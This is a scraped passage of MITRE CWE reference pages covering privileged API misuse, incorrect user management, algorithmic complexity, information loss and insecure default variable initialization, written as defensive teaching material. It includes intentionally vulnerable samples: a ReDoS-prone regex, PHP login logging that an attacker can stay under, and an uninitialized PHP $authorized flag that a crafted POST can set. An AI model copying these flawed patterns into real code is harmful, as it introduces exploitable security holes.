Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.265Privilege Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

An attacker may be able to elevate privileges.
Confidentiality

Technical Impact: Read Application Data

An attacker may be able to obtain sensitive information.
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

An attacker may be able to execute code.
+ Likelihood Of Exploit
Low
+ Observed Examples
ReferenceDescription
A Unix utility that displays online help files, if installed setuid, could allow a local attacker to gain privileges when a particular file-opening function is called.
+ Potential Mitigations

Phase: Implementation

Before calling privileged APIs, always ensure that the assumptions made by the privileged code hold true prior to making the call.

Phase: Architecture and Design

Know architecture and implementation weaknesses of the privileged APIs and make sure to account for these weaknesses before calling the privileged APIs to ensure that they can be called safely.

Phase: Implementation

If privileged APIs make certain assumptions about data, context or state validity that are passed by the caller, the calling code must ensure that these assumptions have been validated prior to making the call.

Phase: Implementation

If privileged APIs do not shed their privilege prior to returning to the calling code, then calling code needs to shed these privileges immediately and safely right after the call to the privileged APIs. In particular, the calling code needs to ensure that a privileged thread of execution will never be returned to the user or made available to user-controlled processes.

Phase: Implementation

Only call privileged APIs from safe, consistent and expected state.

Phase: Implementation

Ensure that a failure or an error will not leave a system in a state where privileges are not properly shed and privilege escalation is possible (i.e. fail securely with regards to handling of privileges).
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.977SFP Secondary Cluster: Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1366ICS Communications: Frail Security in Protocols
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-01-30
(CWE Draft 8, 2008-01-30)
Evgeny LebanidzeCigital
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships
2008-10-14CWE Content TeamMITRE
updated Description, Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Name, Related_Attack_Patterns
2009-10-29CWE Content TeamMITRE
updated Common_Consequences
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-12-13CWE Content TeamMITRE
updated Common_Consequences, Description
2011-03-29CWE Content TeamMITRE
updated Description, Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Enabling_Factors_for_Exploitation, Observed_Examples, Relationships
2018-03-27CWE Content TeamMITRE
updated Observed_Examples
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2009-05-27Improper Use of Privileged APIs

CWE-286: Incorrect User Management

Weakness ID: 286
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly manage a user within its environment.
+ Extended Description
Users can be assigned to the wrong group (class) of permissions resulting in unintended access rights to sensitive objects.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.284Improper Access Control
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.842Placement of User into Incorrect Group
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Varies by Context

+ Observed Examples
ReferenceDescription
Containerization product does not record a user's supplementary group ID, allowing bypass of group restrictions.
Operating system assigns user to privileged wheel group, allowing the user to gain root privileges.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.944SFP Secondary Cluster: Access Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Maintenance

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).

Maintenance

This item needs more work. Possible sub-categories include: user in wrong group, and user with insecure profile or "configuration". It also might be better expressed as a category than a weakness.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERUser management errors
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Maintenance_Notes, Name, Relationships, Taxonomy_Mappings
2011-03-29CWE Content TeamMITRE
updated Applicable_Platforms, Maintenance_Notes, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-09-09User Management Issues

CWE-407: Inefficient Algorithmic Complexity

Weakness ID: 407
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.
+ Alternate Terms
Quadratic Complexity:
Used when the algorithmic complexity is related to the square of the number of inputs (N^2)
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.405Asymmetric Resource Consumption (Amplification)
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1333Inefficient Regular Expression Complexity
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1333Inefficient Regular Expression Complexity
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory); DoS: Resource Consumption (Other)

The typical consequence is CPU consumption, but memory consumption and consumption of other resources can also occur.
+ Likelihood Of Exploit
Low
+ Demonstrative Examples

Example 1

This example attempts to check if an input string is a "sentence" [REF-1164].

(bad code)
Example Language: JavaScript 
var test_string = "Bad characters: $@#";
var bad_pattern = /^(\w+\s?)*$/i;
var result = test_string.search(bad_pattern);

The regular expression has a vulnerable backtracking clause inside (\w+\s?)*$ which can be triggered to cause a Denial of Service by processing particular phrases.

To fix the backtracking problem, backtracking is removed with the ?= portion of the expression which changes it to a lookahead and the \2 which prevents the backtracking. The modified example is:

(good code)
Example Language: JavaScript 
var test_string = "Bad characters: $@#";
var good_pattern = /^((?=(\w+))\2\s?)*$/i;
var result = test_string.search(good_pattern);

Note that [REF-1164] has a more thorough (and lengthy) explanation of everything going on within the RegEx.

+ Observed Examples
ReferenceDescription
C++ library for image metadata has "quadratic complexity" issue with unnecessarily repetitive parsing each time an invalid character is encountered
Python has "quadratic complexity" issue when converting string to int with many digits in unexpected bases
server allows ReDOS with crafted User-Agent strings, due to overlapping capture groups that cause excessive backtracking.
Perl-based email address parser has "quadratic complexity" issue via a string that does not contain a valid address
CPU consumption via inputs that cause many hash table collisions.
CPU consumption via inputs that cause many hash table collisions.
Product performs unnecessary processing before dropping an invalid packet.
CPU and memory consumption using many wildcards.
Product allows attackers to cause multiple copies of a program to be loaded more quickly than the program can detect that other copies are running, then exit. This type of error should probably have its own category, where teardown takes more time than initialization.
Network monitoring system allows remote attackers to cause a denial of service (CPU consumption and detection outage) via crafted network traffic, aka a "backtracking attack."
Wiki allows remote attackers to cause a denial of service (CPU consumption) by performing a diff between large, crafted pages that trigger the worst case algorithmic complexity.
Wiki allows remote attackers to cause a denial of service (CPU consumption) by performing a diff between large, crafted pages that trigger the worst case algorithmic complexity.
OS allows attackers to cause a denial of service (CPU consumption) via crafted Gregorian dates.
Memory leak by performing actions faster than the software can clear them.
+ Functional Areas
  • Cryptography
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.977SFP Secondary Cluster: Design
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1307CISQ Quality Measures - Maintainability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERAlgorithmic Complexity
+ References
[REF-395] Scott A. Crosby and Dan S. Wallach. "Algorithmic Complexity Attacks". Proceedings of the 12th USENIX Security Symposium. 2003-08. <https://www.usenix.org/legacy/events/sec03/tech/full_papers/crosby/crosby.pdf>.
[REF-1164] Ilya Kantor. "Catastrophic backtracking". 2020-12-13. <https://javascript.info/regexp-catastrophic-backtracking>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Functional_Areas, Other_Notes
2009-10-29CWE Content TeamMITRE
updated Common_Consequences
2009-12-28CWE Content TeamMITRE
updated Applicable_Platforms, Likelihood_of_Exploit
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Likelihood_of_Exploit
2019-06-20CWE Content TeamMITRE
updated Name, Relationships, Type
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated References, Relationships
2021-07-20CWE Content TeamMITRE
updated References
2022-10-13CWE Content TeamMITRE
updated Alternate_Terms, Observed_Examples, Relationships
2023-01-31CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, References
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2019-06-20Algorithmic Complexity

CWE-221: Information Loss or Omission

Weakness ID: 221
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not record, or improperly records, security-relevant information that leads to an incorrect decision or hampers later analysis.
+ Extended Description
This can be resultant, e.g. a buffer overflow might trigger a crash before the product can log the event.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.664Improper Control of a Resource Through its Lifetime
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.222Truncation of Security-relevant Information
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.223Omission of Security-relevant Information
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.224Obscured Security-relevant Information by Alternate Name
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.356Product UI does not Warn User of Unsafe Actions
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.396Declaration of Catch for Generic Exception
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.397Declaration of Throws for Generic Exception
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.451User Interface (UI) Misrepresentation of Critical Information
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Non-Repudiation

Technical Impact: Hide Activities

+ Demonstrative Examples

Example 1

This code logs suspicious multiple login attempts.

(bad code)
Example Language: PHP 
function login($userName,$password){
if(authenticate($userName,$password)){
return True;
}
else{
incrementLoginAttempts($userName);
if(recentLoginAttempts($userName) > 5){
writeLog("Failed login attempt by User: " . $userName . " at " + date('r') );
}
}
}

This code only logs failed login attempts when a certain limit is reached. If an attacker knows this limit, they can stop their attack from being discovered by avoiding the limit.

+ Observed Examples
ReferenceDescription
Web browser's filename selection dialog only shows the beginning portion of long filenames, which can trick users into launching executables with dangerous extensions.
application server does not log complete URI of a long request (truncation).
Login attempts are not recorded if the user disconnects before the maximum number of tries.
Attacker performs malicious actions on a hard link to a file, obscuring the real target file.
Product does not warn user when document contains certain dangerous functions or macros.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.997SFP Secondary Cluster: Information Loss
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERInformation loss or omission
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples

CWE-453: Insecure Default Variable Initialization

Weakness ID: 453
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product, by default, initializes an internal variable with an insecure or less secure value than is possible.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1188Initialization of a Resource with an Insecure Default
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

PHP (Sometimes Prevalent)

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Modify Application Data

An attacker could gain access to and modify sensitive data or system information.
+ Demonstrative Examples

Example 1

This code attempts to login a user using credentials from a POST request:

(bad code)
Example Language: PHP 

// $user and $pass automatically set from POST request
if (login_user($user,$pass)) {
$authorized = true;
}
...

if ($authorized) {
generatePage();
}

Because the $authorized variable is never initialized, PHP will automatically set $authorized to any value included in the POST request if register_globals is enabled. An attacker can send a POST request with an unexpected third value 'authorized' set to 'true' and gain authorized status without supplying valid credentials.

Here is a fixed version:

(good code)
Example Language: PHP 
$user = $_POST['user'];
$pass = $_POST['pass'];
$authorized = false;
if (login_user($user,$pass)) {
$authorized = true;
}
...

This code avoids the issue by initializing the $authorized variable to false and explicitly retrieving the login credentials from the $_POST variable. Regardless, register_globals should never be enabled and is disabled by default in current versions of PHP.

+ Observed Examples
ReferenceDescription
insecure default variable initialization in BIOS firmware for a hardware board allows DoS
+ Potential Mitigations

Phase: System Configuration

Disable or change default settings when they can be used to abuse the system. Since those default settings are shipped with the product they are likely to be known by a potential attacker who is familiar with the product. For instance, default credentials should be changed or the associated accounts should be disabled.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.966SFP Secondary Cluster: Other Exposures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

This overlaps other categories, probably should be split into separate items.
